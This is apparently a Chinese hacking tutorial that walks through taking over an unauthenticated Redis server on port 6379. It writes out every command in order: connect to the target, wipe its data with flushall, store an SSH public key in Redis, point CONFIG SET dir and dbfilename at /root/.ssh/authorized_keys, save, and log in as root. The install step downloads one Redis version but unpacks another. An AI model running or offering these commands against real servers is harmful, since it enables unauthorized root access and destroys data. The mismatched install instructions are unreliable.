一:安装gcc编译环境(有就不用装了)

  1. apt-get install gcc
  2. apt-get install g++

二:安装redis服务(有就不用装了)

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-4.0.10.tar.gz 
cd redis-4.0.10/
make && make install

安装到这里就可以了,不需要安装服务端,只要客户端就好了。

三:生成ssh公钥

ssh-keygen

Redis服务(6379端口)入侵 - 图1
如图,这个3个地方都是回车就好,不需要输入什么其他的东西的。
之后就是百度的东西了

四:入侵redis

  • 先连接redis看看

    telnet 192.168.88.136 6379
    redis-cli -h 192.168.88.136
    

    telnet的这个命令,它的显示是这样的:
    Redis服务(6379端口)入侵 - 图2
    这个奇怪的东西是告诉你“按 ctrl + ] 可以变正常…..! ”
    不管上面那个,按了之后再quit退出来吧,只要知道能连接就好了,如下图:
    Redis服务(6379端口)入侵 - 图3
    然后redis-cli的那个命令也是一样的,能连接就可以了
    Redis服务(6379端口)入侵 - 图4
    接下来:

  • 清一下redis数据库

    redis-cli -h 192.168.88.136 flushall
    
  • 向redis写自己的公钥

    cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis
    

    开始生成的公钥也就是id_rsa.pub文件在~/.ssh/文件夹里面,自己把它cope出来或者就在那个/.ssh
    /目录执行命令也行

  • 利用redis写入到文件中

连接redis

redis-cli -h 192.168.88.136

查看keys

192.168.88.136> keys *

写入配置库的路径及存放位置

192.168.88.136> CONFIG SET dir /root/.ssh/

写入配置库名称及存放的名字

192.168.88.136> CONFIG SET dbfilename "authorized_keys"

保存

192.168.88.136> save

退出

192.168.88.136> exit

OK!远程连接一下服务器吧!

ssh root@192.168.88.136

参考链接:https://www.secpulse.com/archives/61101.html